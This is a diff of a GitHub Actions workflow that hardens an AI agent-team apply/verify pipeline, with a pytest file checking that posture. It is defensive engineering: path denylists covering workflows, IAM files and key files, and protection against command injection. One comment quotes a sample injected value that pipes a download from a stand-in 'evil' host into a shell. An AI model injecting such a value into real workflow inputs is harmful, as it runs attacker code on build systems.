# 2. Trust-control-surface denylist. `guard` hard-fails (CI-side, not only the # 2. Trust-control-surface denylist. `guard` hard-fails (CI-side, not only the
@ -44,8 +55,8 @@
name: agent-team-apply-verify name: agent-team-apply-verify
# Manual / API trigger only. The Option-B OIDC apply path (a trusted, separate # Manual / API trigger only. The trusted, separate apply path (which owns the
# workflow that owns the write token) invokes this with the candidate-diff # GitHub App write token) invokes this with the candidate-diff
# artifact + the ledger-recorded hash + the declared scope. There is NO # artifact + the ledger-recorded hash + the declared scope. There is NO
# pull_request / pull_request_target trigger: the patch must never run in a # pull_request / pull_request_target trigger: the patch must never run in a
# context that carries write or secret scope (boundary 1). # context that carries write or secret scope (boundary 1).
@ -116,6 +127,13 @@ jobs:
with: with:
name: ${{ inputs.diff_artifact_name }} name: ${{ inputs.diff_artifact_name }}
path: ./_incoming path: ./_incoming
# Pin the source run so an artifact can never be sourced from a
# DIFFERENT run (an attacker who can upload an artifact in some other
# run must not be able to substitute it here). This is the current
# run; download-artifact@v4 restricts to the same run by default, but
# pinning run-id makes that explicit and audit-visible. No
# github-token is set: this job is credential-less and same-run only.
run-id: ${{ github.run_id }}
- name: Verify diff integrity + trust-control denylist + scope - name: Verify diff integrity + trust-control denylist + scope
id: verify id: verify
@ -144,23 +162,32 @@ jobs:
# an auto-reject; such a diff is escalated to mandatory human + GPT # an auto-reject; such a diff is escalated to mandatory human + GPT
# cross-review, never auto-built (these are the mandatory-cross-review # cross-review, never auto-built (these are the mandatory-cross-review
# surface regardless). Matched against canonicalized POSIX paths. --- # surface regardless). Matched against canonicalized POSIX paths. ---
# INJ-03: UNION SUPERSET, IDENTICAL across all three trust-control
# copies (this guard inline list, the post-build inline list below, and
# agent_team.ci_gate.DENYLIST_GLOBS). test_apply_verify_workflow_hardening
# asserts the three are byte-for-byte equal so drift fails CI. Edit all
# three together.
DENY_GLOBS: tuple[str, ...] = ( DENY_GLOBS: tuple[str, ...] = (
".github/workflows/**", ".github/workflows/**",
".github/actions/**", ".github/actions/**",
".github/CODEOWNERS",
"**/CODEOWNERS", "**/CODEOWNERS",
"CODEOWNERS", "CODEOWNERS",
".github/dependabot.yml", ".github/dependabot.yml",
".github/dependabot.yaml", ".github/dependabot.yaml",
".github/settings.yml", ".github/settings.yml",
# IAM / policy / permission IaC (CDK / SAM / Terraform).
"**/template.yaml",
"**/template.yml",
"**/*.tf",
"**/cdk.json", "**/cdk.json",
"**/template.yml",
"**/template.yaml",
"**/samconfig.toml",
"**/*.tf",
"**/*-stack.ts", "**/*-stack.ts",
"**/*_stack.py", "**/*_stack.py",
"**/policy*.json", "**/iam/**",
"**/policies/**",
"**/*iam*", "**/*iam*",
"**/policy*.json",
"**/*policy*.json",
"**/*.pem", "**/*.pem",
"**/*.key", "**/*.key",
) )
@ -341,6 +368,15 @@ jobs:
expected = os.environ["EXPECTED_DIFF_HASH"].strip().lower() expected = os.environ["EXPECTED_DIFF_HASH"].strip().lower()
scope = [s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()] scope = [s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()]
# FAIL-CLOSED on an empty/missing expected hash BEFORE comparing.
# The recomputed `actual` is always a real sha256, so an empty
# `expected` already mismatches and fails — but an explicit guard
# makes the empty == empty invariant impossible to regress (e.g. if
# the comparison is ever refactored) and gives a clearer ALARM.
if not expected:
print("::error::empty/missing expected diff hash; refusing to bind (fail-closed)")
return 2
with open(diff_path, "rb") as fh: with open(diff_path, "rb") as fh:
raw = fh.read() raw = fh.read()
actual = hashlib.sha256(raw).hexdigest() actual = hashlib.sha256(raw).hexdigest()
@ -410,7 +446,7 @@ jobs:
# ─────────────────────────────────────────────────────────────────────────── # ───────────────────────────────────────────────────────────────────────────
# JOB 2 — build-test (boundary 1). UNTRUSTED execution. This is the ONLY job # JOB 2 — build-test (boundary 1). UNTRUSTED execution. This is the ONLY job
# that applies + runs the patch. It is credential-less: contents:read only, no # that applies + runs the patch. It is credential-less: contents:read only, no
# secrets, no OIDC, no write token, egress blocked. There is nothing here to # secrets, no App token, no write token, egress blocked. There is nothing here to
# steal and nothing to assume. It writes a report artifact consumed by the # steal and nothing to assume. It writes a report artifact consumed by the
# privileged gate as DATA — that report is NOT authoritative (boundary 4). # privileged gate as DATA — that report is NOT authoritative (boundary 4).
# Depends on `guard` so a denied/tampered diff never reaches execution. # Depends on `guard` so a denied/tampered diff never reaches execution.
@ -454,6 +490,10 @@ jobs:
with: with:
name: ${{ inputs.diff_artifact_name }} name: ${{ inputs.diff_artifact_name }}
path: ./_incoming path: ./_incoming
# Same-run pin as the guard job: the bytes applied here must be the
# bytes uploaded in THIS run, not an artifact substituted from another
# run. The pre-apply hash re-check below is the second layer.
run-id: ${{ github.run_id }}
- name: Re-verify diff hash before apply (defense-in-depth) - name: Re-verify diff hash before apply (defense-in-depth)
env: env:
@ -492,6 +532,17 @@ jobs:
# touch only this ephemeral runner. # touch only this ephemeral runner.
git apply --check ./_incoming/candidate.diff git apply --check ./_incoming/candidate.diff
git apply ./_incoming/candidate.diff git apply ./_incoming/candidate.diff
# Commit the patched tree to a throwaway local commit so the working
# tree is CLEAN before the build runs. This is the baseline the
# post-build denied-path check diffs against: the guard job already
# vetted the candidate diff's paths, so by committing it we isolate
# whatever the BUILD HOOK itself writes (a malicious setup.py /
# conftest / build script that drops a file into a denied path). Local
# commit only — this job has no write credential, nothing is pushed.
git config user.email "agent-apply@local.invalid"
git config user.name "agent-apply build sandbox"
git add -A
git commit --quiet --no-verify -m "candidate diff (sandbox baseline)" || true
- name: Set up Python - name: Set up Python
uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0 uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0
@ -513,16 +564,284 @@ jobs:
ruff check . || echo "ruff non-zero (recorded, non-authoritative)" ruff check . || echo "ruff non-zero (recorded, non-authoritative)"
pytest -q || echo "pytest non-zero (recorded, non-authoritative)" pytest -q || echo "pytest non-zero (recorded, non-authoritative)"
- name: Post-build denied-path check (build hook may not write the trust surface)
if: always()
env:
DECLARED_SCOPE: ${{ inputs.declared_scope }}
run: |
set -euo pipefail
# SECURITY (boundary 2, build-hook variant). The guard job vetted the
# candidate DIFF's paths, but a build/test hook (setup.py, a conftest,
# an npm postinstall, a Makefile) running in THIS untrusted job can
# ALSO write files — including into the trust-control surface or out of
# the declared scope. We committed the patched tree as the baseline
# above, so anything that differs now is build-hook output. We FAIL the
# job if any of it lands on a denied path or outside scope.
#
# FIX-2 / INJ-02: parse NUL-delimited, never newline-split. A malicious
# build hook can write a file whose name contains a tab/space/quote/
# NEWLINE; a `git status --porcelain | sed` + newline-split pipeline
# would either mangle or split such a name and let it evade the path
# match. So we emit machine-readable NUL-delimited records:
# * `git status --porcelain=v1 -z --untracked-files=all` (each entry
# is `XY <path>` and, for renames, `XY <new>\0<old>` — two NUL
# fields), and
# * `git diff -z --name-only HEAD` (NUL-separated tracked paths),
# and Python splits on NUL and parses rename entries explicitly. We also
# set `core.quotepath false` so git never C-quotes/escapes UTF-8 or
# special bytes in path output (belt-and-suspenders). No backslash
# mangling is done anywhere. A path that cannot be cleanly decoded is
# treated as a VIOLATION (fail closed).
git config core.quotepath false
git diff -z --name-only HEAD > ./_build_diff_z.bin || true
git status --porcelain=v1 -z --untracked-files=all > ./_build_status_z.bin || true
python3 - <<'PY'
from __future__ import annotations
import os
import posixpath
import re
import sys
# SAME denylist as the guard job + ci_gate.DENYLIST_GLOBS (boundary 2,
# INJ-03 union superset). All three are byte-for-byte identical and
# test_apply_verify_workflow_hardening asserts it; edit all three.
DENY_GLOBS: tuple[str, ...] = (
".github/workflows/**",
".github/actions/**",
".github/CODEOWNERS",
"**/CODEOWNERS",
"CODEOWNERS",
".github/dependabot.yml",
".github/dependabot.yaml",
".github/settings.yml",
"**/cdk.json",
"**/template.yml",
"**/template.yaml",
"**/samconfig.toml",
"**/*.tf",
"**/*-stack.ts",
"**/*_stack.py",
"**/iam/**",
"**/policies/**",
"**/*iam*",
"**/policy*.json",
"**/*policy*.json",
"**/*.pem",
"**/*.key",
)
_GLOB_META = set("*?[]")
def canonical(path: str) -> str:
# FIX-2 / INJ-02: paths come from `git -z` with core.quotepath=false,
# so they are RAW: real '/' separators and no C-quoting. We do NOT
# do `.replace("\\","/")` backslash mangling (a backslash is a literal
# filename byte here) and do NOT strip quotes (git did not add any).
# We only reject leading/trailing whitespace-only and escaping paths.
p = path
if not p:
raise ValueError("empty path")
norm = posixpath.normpath(p)
if norm.startswith("/") or norm == ".." or norm.startswith("../"):
raise ValueError(f"path escapes repo root: {path!r}")
return norm
def _glob_to_regex(glob: str) -> "re.Pattern[str]":
out: list[str] = []
i, n = 0, len(glob)
while i < n:
if glob[i : i + 3] == "**/":
out.append(r"(?:.*/)?")
i += 3
elif glob[i : i + 2] == "**":
out.append(r".*")
i += 2
elif glob[i] == "*":
out.append(r"[^/]*")
i += 1
elif glob[i] == "?":
out.append(r"[^/]")
i += 1
else:
out.append(re.escape(glob[i]))
i += 1
return re.compile("^" + "".join(out) + "$", re.IGNORECASE)
_DENY_RES = tuple(_glob_to_regex(g) for g in DENY_GLOBS)
def denied(path: str) -> bool:
return any(p.match(path) for p in _DENY_RES)
def _scope_prefix(entry: str) -> str | None:
keep: list[str] = []
for part in entry.split("/"):
if any(c in _GLOB_META for c in part):
break
keep.append(part)
prefix = "/".join(keep)
return prefix or None
def safe_scope(scope: list[str]) -> list[str]:
safe: list[str] = []
for g in scope:
try:
canon = canonical(g)
except ValueError:
continue
prefix = _scope_prefix(canon)
if prefix is not None and prefix not in safe:
safe.append(prefix)
return safe
def in_scope(path: str, scope: list[str]) -> bool:
return any(path == e or path.startswith(e + "/") for e in scope)
def _read_z(path: str) -> list[bytes]:
"""Read a NUL-delimited file into a list of byte records (no trailing empty)."""
try:
with open(path, "rb") as fh:
blob = fh.read()
except FileNotFoundError:
return []
if not blob:
return []
parts = blob.split(b"\x00")
if parts and parts[-1] == b"":
parts.pop()
return parts
def _decode(field: bytes) -> str | None:
"""Strictly decode a path field as UTF-8; None if it cannot be cleanly decoded."""
try:
return field.decode("utf-8")
except UnicodeDecodeError:
return None
def _diff_paths() -> tuple[list[str], list[bytes]]:
"""`git diff -z --name-only` records: each NUL field is one path."""
ok: list[str] = []
bad: list[bytes] = []
for rec in _read_z("./_build_diff_z.bin"):
dec = _decode(rec)
(ok if dec is not None else bad).append(dec if dec is not None else rec)
return ok, bad
def _status_paths() -> tuple[list[str], list[bytes]]:
"""Parse `git status --porcelain=v1 -z` records.
Each entry is `XY <path>`; a rename/copy (X or Y in R/C) is followed
by a SECOND field, the rename/copy SOURCE, in a separate NUL record.
We surface BOTH the destination and the source (a rename INTO or OUT
of a denied/out-of-scope path must be caught). A record whose path
field cannot be cleanly UTF-8 decoded is reported as a violation.
"""
ok: list[str] = []
bad: list[bytes] = []
recs = _read_z("./_build_status_z.bin")
i = 0
while i < len(recs):
rec = recs[i]
# `XY ` is a 3-byte prefix: two status codes + a space.
if len(rec) < 4:
bad.append(rec)
i += 1
continue
xy = rec[:2]
body = rec[3:]
dec = _decode(body)
(ok if dec is not None else bad).append(dec if dec is not None else body)
# Rename (R) / copy (C) in either index or worktree column carries
# a following SOURCE field as its own record — consume + check it.
if xy[0:1] in (b"R", b"C") or xy[1:2] in (b"R", b"C"):
i += 1
if i < len(recs):
src = recs[i]
sdec = _decode(src)
(ok if sdec is not None else bad).append(
sdec if sdec is not None else src
)
i += 1
return ok, bad
def main() -> int:
diff_ok, diff_bad = _diff_paths()
status_ok, status_bad = _status_paths()
raw_paths = sorted(set(diff_ok) | set(status_ok))
undecodable = diff_bad + status_bad
violations: list[str] = []
# FIX-2: a path that cannot be cleanly decoded is a VIOLATION (fail
# closed) — we never silently drop or lossily replace a build-written
# filename the path match cannot reason about.
for raw in undecodable:
violations.append(
f"build hook wrote an undecodable path: {raw!r}"
)
if not raw_paths and not violations:
print("post-build check: build hook wrote no files; clean")
return 0
scope = safe_scope(
[s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()]
)
for raw in raw_paths:
try:
path = canonical(raw)
except ValueError:
violations.append(f"build hook wrote an escaping path: {raw!r}")
continue
if denied(path):
violations.append(f"build hook wrote a trust-control path: {path}")
elif scope and not in_scope(path, scope):
violations.append(f"build hook wrote out of declared scope: {path}")
if violations:
for v in violations:
print(f"::error::{v}")
print("::error::build hook wrote a denied/out-of-scope path; failing job")
return 1
print(f"post-build check: {len(raw_paths)} build-written path(s); all clean")
return 0
sys.exit(main())
PY
- name: Emit non-authoritative report (job conclusion is the truth) - name: Emit non-authoritative report (job conclusion is the truth)
if: always() if: always()
env:
# CWE-94 env-indirection. `inputs.task_id` is attacker-influenceable
# (the dispatcher passes it from task state) and GitHub expands every
# `${{ }}` into the shell SCRIPT TEXT before the shell runs — so a
# value like `"; curl evil | sh; #` would be interpolated as code and
# `%s`/quoting in printf would NOT stop it. Binding it to an env var
# and referencing it as a quoted shell variable ("$TASK_ID") means the
# shell sees it as DATA, never as script. python's json.dumps then
# encodes it safely into the report.
TASK_ID: ${{ inputs.task_id }}
run: | run: |
set -euo pipefail set -euo pipefail
# This report is consumed by the gate as DATA for the verifier agent's # This report is consumed by the gate as DATA for the verifier agent's
# next-fix reasoning. It is NOT the pass/fail decision — the gate reads # next-fix reasoning. It is NOT the pass/fail decision — the gate reads
# the AUTHENTICATED job conclusion (boundary 4), never this file. # the AUTHENTICATED job conclusion (boundary 4), never this file.
mkdir -p ./_report mkdir -p ./_report
printf '{"task_id":"%s","note":"non-authoritative; gate uses job conclusion"}\n' \ # Build the JSON with python's json encoder (reads TASK_ID from the
"${{ inputs.task_id }}" > ./_report/report.json # environment) so the untrusted task_id cannot break out of the string
# or inject JSON structure.
python3 - <<'PY' > ./_report/report.json
import json
import os
print(
json.dumps(
{
"task_id": os.environ["TASK_ID"],
"note": "non-authoritative; gate uses job conclusion",
}
)
)
PY
- name: Upload non-authoritative report - name: Upload non-authoritative report
if: always() if: always()
@ -539,33 +858,74 @@ jobs:
# keyed to this run, and only on a clean pass opens a DRAFT PR. It never trusts # keyed to this run, and only on a clean pass opens a DRAFT PR. It never trusts
# any artifact the patch wrote. Pass/fail is pure code here, not the LLM. # any artifact the patch wrote. Pass/fail is pure code here, not the LLM.
# #
# NOTE: the OIDC/write grant is declared here as the eventual home of the # AUTH (LOCKED): the privileged write here is a GitHub App INSTALLATION TOKEN
# privileged step, but this file is deploy-gated — the `id-token`/PR-open # with `pull-requests: write` — ZERO cloud credentials, no token-federation.
# step is left as a documented placeholder so nothing is provisioned until the # The token is minted at run
# §3.3.2 review gates pass. Wiring the real OIDC role is Phase P3 / Phase 5 # time by actions/create-github-app-token (SHA-pinned) from the App id +
# AFTER the mandatory GPT-4.1 cross-review of the IAM. # private key held as repo/org secrets, and is scoped to exactly the grant the
# App installation has. The required HUMAN reviewer that must approve before
# this job's `environment` runs is configured on the `agent-apply` GitHub
# Environment at PROVISIONING (it cannot be expressed in YAML — see the
# provisioning runbook). This job NEVER checks out or executes patch code: it
# reads the AUTHENTICATED needs.*.result conclusions, and only on a clean pass
# opens a DRAFT PR. The draft-PR step stays hard-disabled (`if: ${{ false }}`)
# until provisioning creates the App + environment + branch protection; the
# flip is the single remaining provisioning action.
# ─────────────────────────────────────────────────────────────────────────── # ───────────────────────────────────────────────────────────────────────────
gate-and-pr: gate-and-pr:
needs: [guard, build-test] needs: [guard, build-test]
# `always()` so the gate runs even when build-test failed, to record the # Defense-in-depth: the privileged job NEVER runs on a failed/skipped/
# authoritative conclusion. The gate itself decides pass/fail from results. # cancelled guard or build-test. We still want it to run on a build-test
if: always() # FAILURE only to record the authoritative conclusion — but until
# provisioning this job holds ZERO privilege and does ZERO privileged work
# (the gate is pure-code, the token + draft-PR steps are `if: ${{ false }}`),
# so gating on both upstream jobs succeeding is the safe posture: a test
# dispatch today runs only the credential-less guard + build-test. At
# provisioning, revisit whether to relax to `always()` to record failures.
if: always() && needs.guard.result == 'success' && needs.build-test.result == 'success'
runs-on: ubuntu-latest runs-on: ubuntu-latest
timeout-minutes: 5 timeout-minutes: 5
# PROVISIONING-TIME PRIVILEGE (BLOCK-1 / FIX-4 / QUESTION-2). Privileged
# declarations must be PROVISIONING-time, not live: an `environment:` that
# does not exist yet and a `pull-requests: write` grant are unprotected holes
# if declared before the `agent-apply` environment (with its required
# reviewer) is created. So both stay COMMENTED here — the exact deploy-gated
# pattern the removed cloud token-federation grant used — and are uncommented
# at provisioning AFTER the environment exists. Today this job is
# credential-less and runs ONLY the pure-code gate.
#
# The `agent-apply` GitHub Environment is the human-gate home: its REQUIRED
# REVIEWER (and optional wait timer / branch policy) is configured on the
# Environment at PROVISIONING — GitHub holds the job here until a human
# approves. This cannot be authored in YAML; the `environment:` reference is
# the hook the provisioning step attaches the reviewer to.
# environment: # uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer
# name: agent-apply # uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer
permissions: permissions:
contents: read contents: read
# pull-requests: write # ← enabled ONLY after the §3.3.2 review gates. # uncomment at provisioning AFTER the agent-apply environment is created with a required reviewer
# id-token: write # ← OIDC for the Option-B apply role, post-gate. # The ONLY privileged grant: open a draft PR. Kept COMMENTED until
# provisioning so the job holds ZERO privilege on a test dispatch today;
# the draft-PR + app-token STEPS also stay `if: ${{ false }}` until then.
# pull-requests: write
# NOTE: there is deliberately NO token-federation permission here — this
# workflow uses a GitHub App installation token only, no cloud provider.
steps: steps:
- name: Harden runner (privileged job; block egress) - name: Harden runner (privileged job; block egress)
uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2 uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2
with: with:
# DEPLOY: this allowlist is GitHub API only (App-token mint + gh pr
# create). Trim/confirm per target repo at provisioning — an
# over-broad allowlist weakens the egress boundary even on the
# privileged job. No cloud endpoints: the auth model is a GitHub App
# token only, with no cloud token-federation.
egress-policy: block egress-policy: block
allowed-endpoints: > allowed-endpoints: >
github.com:443 github.com:443
api.github.com:443 api.github.com:443
- name: Pure-code pass/fail gate over authenticated results - name: Pure-code pass/fail gate over authenticated results
id: gate
env: env:
# These come from GitHub's job orchestration, NOT from the patch. # These come from GitHub's job orchestration, NOT from the patch.
GUARD_RESULT: ${{ needs.guard.result }} GUARD_RESULT: ${{ needs.guard.result }}
@ -604,7 +964,19 @@ jobs:
""" """
if not run_id: if not run_id:
return False, "missing run id; cannot bind decision to a run" return False, "missing run id; cannot bind decision to a run"
if diff_hash.strip().lower() != expected_hash.strip().lower(): # FAIL-CLOSED on an empty/missing hash. Without this guard an empty
# guard-exported hash AND an empty expected hash compare equal
# ('' == ''), so a run where the hash binding never populated would
# SILENTLY satisfy the binding check — empty must never count as a
# match. Require both sides present (and equal) before binding holds.
g = diff_hash.strip().lower()
e = expected_hash.strip().lower()
if not g or not e:
return False, (
"empty/missing hash; refusing to bind "
f"(guard={diff_hash!r} expected={expected_hash!r})"
)
if g != e:
return False, f"hash binding broken: guard={diff_hash} expected={expected_hash}" return False, f"hash binding broken: guard={diff_hash} expected={expected_hash}"
if guard_result != "success": if guard_result != "success":
return False, f"guard did not pass: {guard_result!r}" return False, f"guard did not pass: {guard_result!r}"
@ -632,10 +1004,69 @@ jobs:
sys.exit(main()) sys.exit(main())
PY PY
- name: Open DRAFT PR (DEPLOY-GATED PLACEHOLDER — not enabled) - name: "Mint GitHub App installation token (pull-requests write only)"
if: ${{ false }} # ← hard-disabled. Enable only after §3.3.2 review gates. id: app-token
# Hard-disabled with the draft-PR step until provisioning: minting a
# token against an App that does not exist yet would fail, and there is
# nothing to do with it while the PR step is off. The condition is the
# SAME target as the draft-PR step so the two flip together.
if: ${{ false }} # ← flip with the draft-PR step at provisioning (see below).
uses: actions/create-github-app-token@5d869da34e18e7287c1daad50e0b8ea0f506ce69 # v1.11.0
with:
# PROVISIONING: create the GitHub App (single permission:
# `pull-requests: write`), install it on the target repo, and store
# its id + private key as these secrets. The minted token is scoped to
# exactly the App installation's grant — narrower than a PAT, and it
# auto-expires (~1h). No cloud credentials, no token-federation.
app-id: ${{ secrets.AGENT_APPLY_APP_ID }}
private-key: ${{ secrets.AGENT_APPLY_APP_PRIVATE_KEY }}
- name: Open DRAFT PR (DEPLOY-GATED — flip at provisioning only)
# belt-and-suspenders: even once flipped, the draft PR opens ONLY on a
# clean authenticated pass. Target condition for the provisioning flip:
#
# if: >-
# always()
# && needs.guard.result == 'success'
# && needs.build-test.result == 'success'
# && steps.gate.outputs.gate == 'pass'
#
# Flip to that condition ONLY after the `agent-apply` environment + the
# GitHub App are provisioned and branch protection is in place (see the
# provisioning runbook). Flipping live against a non-existent environment
# is an unprotected hole, so it stays `${{ false }}` here.
if: ${{ false }} # ← hard-disabled until provisioning (see comment above).
env:
# The App installation token (pull-requests: write). gh reads it from
# GH_TOKEN. Untrusted values used below are env-indirected (CWE-94).
GH_TOKEN: ${{ steps.app-token.outputs.token }}
TASK_ID: ${{ inputs.task_id }}
DIFF_HASH: ${{ needs.guard.outputs.diff_hash }}
# The repo the PR is opened in (the App installation's repo).
GH_REPO: ${{ github.repository }}
run: | run: |
echo "Draft-PR open runs here AFTER the mandatory GPT-4.1 cross-review" set -euo pipefail
echo "+ /sh-security-review of this workflow and its OIDC role." # Draft PR ONLY; never auto-merge (D2). Branch protection + the
echo "Draft PR only; never auto-merge (D2). Branch protection is the" # required reviewer on the agent-apply environment + the security
echo "final enforcement (boundary 5)." # review + the Claude Code App review are the final enforcement
# (boundary 5). The agent NEVER merges. task_id / diff_hash are read
# from the environment (not interpolated into this script) so an
# untrusted task_id cannot inject shell.
#
# NOTE: the dispatcher records the agent branch name in the ledger and
# passes it in at provisioning; the branch is created by the trusted
# apply path (the box has no write token, D2), so this step only OPENS
# the PR for an already-pushed agent branch. Wire `--head` to that
# branch input at provisioning.
# NIT-2: build BOTH title and body with `printf '%s'` over the
# env-indirected vars (no `${TASK_ID}` shell interpolation in one and
# printf in the other) so the two are consistent and the untrusted
# values are only ever consumed as printf data.
title="$(printf 'agent-apply: %s (diff %s)' "$TASK_ID" "$DIFF_HASH")"
body="$(printf 'Automated draft PR from the agent-team apply/verify pipeline.\n\nTask: %s\nDiff hash: %s\n\nDRAFT ONLY — never auto-merged. Requires: green required checks, security review, Claude Code App review, and human approval (D2, boundary 5).' "$TASK_ID" "$DIFF_HASH")"
gh pr create \
--draft \
--title "$title" \
--body "$body" \
--base main
echo "draft PR opened (task=$TASK_ID); never auto-merged."

View file

@ -0,0 +1,411 @@
"""P3-live hardening assertions over ``ci/agent-team-apply-verify.yml``.
These tests pin the security-critical posture of the apply/verify workflow so a
later edit cannot silently regress it:
* NO attacker-influenceable ``${{ inputs.* }}`` / ``${{ github.event.* }}`` value
is interpolated directly into a ``run:`` block (CWE-94) — every such value must
reach a ``run`` step via an ``env:`` binding instead.
* The workflow carries NO cloud token-federation (``id-token``) and NO AWS /
cloud-OIDC references — the auth model is a GitHub App installation token.
* The privileged draft-PR step is NOT flipped live (``if: ${{ false }}``).
* The privileged job's ``pull-requests: write`` grant and ``agent-apply``
``environment:`` are COMMENTED OUT (provisioning-time, not live), and the job
``if:`` guards on guard+build-test success; download-artifact steps are
run-id pinned.
* The embedded gate's empty-hash handling is fail-closed (extracted + executed).
* The three trust-control denylists (guard YAML, post-build YAML, ci_gate) are
identical (no drift), and the post-build NUL-delimited path parsing is robust.
"""
from __future__ import annotations
import re
import subprocess
import sys
from pathlib import Path
import pytest
yaml = pytest.importorskip("yaml")
_WORKFLOW = Path(__file__).resolve().parents[1] / "ci" / "agent-team-apply-verify.yml"
def _doc() -> dict:
return yaml.safe_load(_WORKFLOW.read_text(encoding="utf-8"))
def _raw() -> str:
return _WORKFLOW.read_text(encoding="utf-8")
# Attacker-influenceable interpolation contexts that must NOT appear in a `run:`.
_TAINTED_RE = re.compile(r"\$\{\{\s*(inputs\.|github\.event\.)")
def _iter_steps(doc: dict):
for job_name, job in doc["jobs"].items():
for step in job.get("steps", []):
yield job_name, step
# --------------------------------------------------------------------------- #
# CWE-94: no tainted ${{ }} interpolated directly into a run: block
# --------------------------------------------------------------------------- #
def test_no_tainted_interpolation_in_any_run_block() -> None:
offenders: list[str] = []
for job_name, step in _iter_steps(_doc()):
run = step.get("run")
if not run:
continue
if _TAINTED_RE.search(run):
offenders.append(f"{job_name}: {step.get('name', '<unnamed>')}")
assert not offenders, (
"tainted ${{ inputs.* / github.event.* }} interpolated into a run block "
f"(must go via env:): {offenders}"
)
def test_tainted_values_are_provided_via_env() -> None:
# Where a run step USES a tainted value, it must be exposed through env: and
# referenced as a shell variable. Assert the report step binds TASK_ID in env.
doc = _doc()
report_steps = [
s
for _, s in _iter_steps(doc)
if s.get("run") and "report.json" in (s.get("run") or "")
]
assert report_steps, "expected the report-emitting step to exist"
for step in report_steps:
env = step.get("env") or {}
assert "TASK_ID" in env, "report step must bind task_id via env (CWE-94)"
assert "${{ inputs.task_id }}" in env["TASK_ID"]
# And the run body must NOT interpolate inputs.task_id directly.
assert "${{ inputs.task_id }}" not in step["run"]
# --------------------------------------------------------------------------- #
# Auth model: GitHub App token, ZERO cloud federation / AWS / OIDC
# --------------------------------------------------------------------------- #
def test_no_id_token_permission_anywhere() -> None:
doc = _doc()
for job_name, job in doc["jobs"].items():
perms = job.get("permissions")
if isinstance(perms, dict):
assert "id-token" not in perms, f"{job_name} must not grant id-token"
def test_no_cloud_oidc_or_aws_references_in_workflow() -> None:
raw = _raw().lower()
for needle in ("id-token", "configure-aws-credentials", "aws-actions", "oidc"):
assert needle not in raw, f"workflow must not reference {needle!r}"
# Bare 'aws' as a standalone token (avoid matching words like 'always').
assert not re.search(r"\baws\b", raw), "workflow must not reference AWS"
def test_uses_github_app_token_action() -> None:
raw = _raw()
assert "actions/create-github-app-token@" in raw
# Pinned by full 40-char SHA (handbook Pinning Principle).
assert re.search(r"actions/create-github-app-token@[0-9a-f]{40}\b", raw), (
"create-github-app-token must be SHA-pinned"
)
# --------------------------------------------------------------------------- #
# Draft-PR step is NOT flipped live; privileged job posture
# --------------------------------------------------------------------------- #
def test_draft_pr_step_is_not_flipped_live() -> None:
doc = _doc()
pr_steps = [
s
for _, s in _iter_steps(doc)
if "draft" in (s.get("name", "").lower()) and s.get("run")
]
assert pr_steps, "expected a draft-PR step"
for step in pr_steps:
# YAML parses `${{ false }}` to the string '${{ false }}' OR bool False
# depending on quoting; both mean "disabled". Assert it is one of those,
# never an always()/success() live condition.
cond = step.get("if")
assert cond is not None, "draft-PR step must keep an explicit if-guard"
assert str(cond).strip().startswith("${{ false }}") or cond is False, (
f"draft-PR step must stay hard-disabled, got if: {cond!r}"
)
def test_gate_job_privileged_declarations_are_commented_until_provisioning() -> None:
# BLOCK-1 / FIX-4 / QUESTION-2: privileged declarations must be
# provisioning-time, not live. `pull-requests: write` and `environment:` are
# both COMMENTED OUT until the agent-apply environment exists, so a test
# dispatch today holds ZERO privilege. Assert the live job declares neither.
job = _doc()["jobs"]["gate-and-pr"]
perms = job.get("permissions") or {}
# contents: read stays active; pull-requests must NOT be granted live.
assert perms.get("contents") == "read"
assert "pull-requests" not in perms, (
"pull-requests: write must stay commented until provisioning"
)
# No live environment binding.
assert job.get("environment") is None, (
"environment: must stay commented until provisioning"
)
def test_gate_job_provisioning_lines_are_present_as_comments() -> None:
# The exact deploy-gated scaffolding must remain in the file (commented) with
# the provisioning marker, so provisioning knows what to uncomment.
raw = _raw()
assert "# pull-requests: write" in raw
assert "# environment:" in raw
assert "# name: agent-apply" in raw
assert (
raw.count(
"uncomment at provisioning AFTER the agent-apply environment is created "
"with a required reviewer"
)
>= 2
)
def test_gate_job_if_guards_on_upstream_success() -> None:
# Defense-in-depth: the privileged job never runs on a failed/skipped/
# cancelled guard or build-test.
job = _doc()["jobs"]["gate-and-pr"]
cond = str(job.get("if", ""))
assert "needs.guard.result == 'success'" in cond
assert "needs.build-test.result == 'success'" in cond
def test_download_artifact_steps_are_run_id_pinned() -> None:
doc = _doc()
dl_steps = [
s for _, s in _iter_steps(doc) if "download-artifact" in str(s.get("uses", ""))
]
assert len(dl_steps) >= 2, "expected both download-artifact steps"
for step in dl_steps:
with_ = step.get("with") or {}
assert with_.get("run-id") == "${{ github.run_id }}", (
"download-artifact must pin run-id to the current run"
)
def test_post_build_denied_path_check_present() -> None:
job = _doc()["jobs"]["build-test"]
names = [s.get("name", "") for s in job.get("steps", [])]
assert any("denied-path" in n.lower() for n in names), (
"build-test must run a post-build denied-path check"
)
# --------------------------------------------------------------------------- #
# Embedded gate empty-hash fail-closed (extract + execute the inline gate)
# --------------------------------------------------------------------------- #
def _extract_gate_script() -> str:
"""Pull the LAST ``python3 - <<'PY' ... PY`` heredoc (the pure-code gate)."""
lines = _raw().splitlines()
blocks: list[tuple[int, int]] = []
start = None
for i, line in enumerate(lines):
if start is None and line.strip() == "python3 - <<'PY'":
start = i + 1
elif start is not None and line.strip() == "PY":
blocks.append((start, i))
start = None
assert blocks, "no PY heredoc found"
# The gate is the one defining `def gate(`.
for s, e in blocks:
body = lines[s:e]
text = "\n".join(ln[10:] if ln.startswith(" " * 10) else ln for ln in body)
if "def gate(" in text:
return text
raise AssertionError("gate heredoc not found")
def _run_gate(tmp_path: Path, env_overrides: dict) -> int:
script = tmp_path / "gate.py"
script.write_text(_extract_gate_script(), encoding="utf-8")
import os
env = dict(os.environ, **{k: str(v) for k, v in env_overrides.items()})
result = subprocess.run(
[sys.executable, str(script)], env=env, capture_output=True, text=True
)
return result.returncode
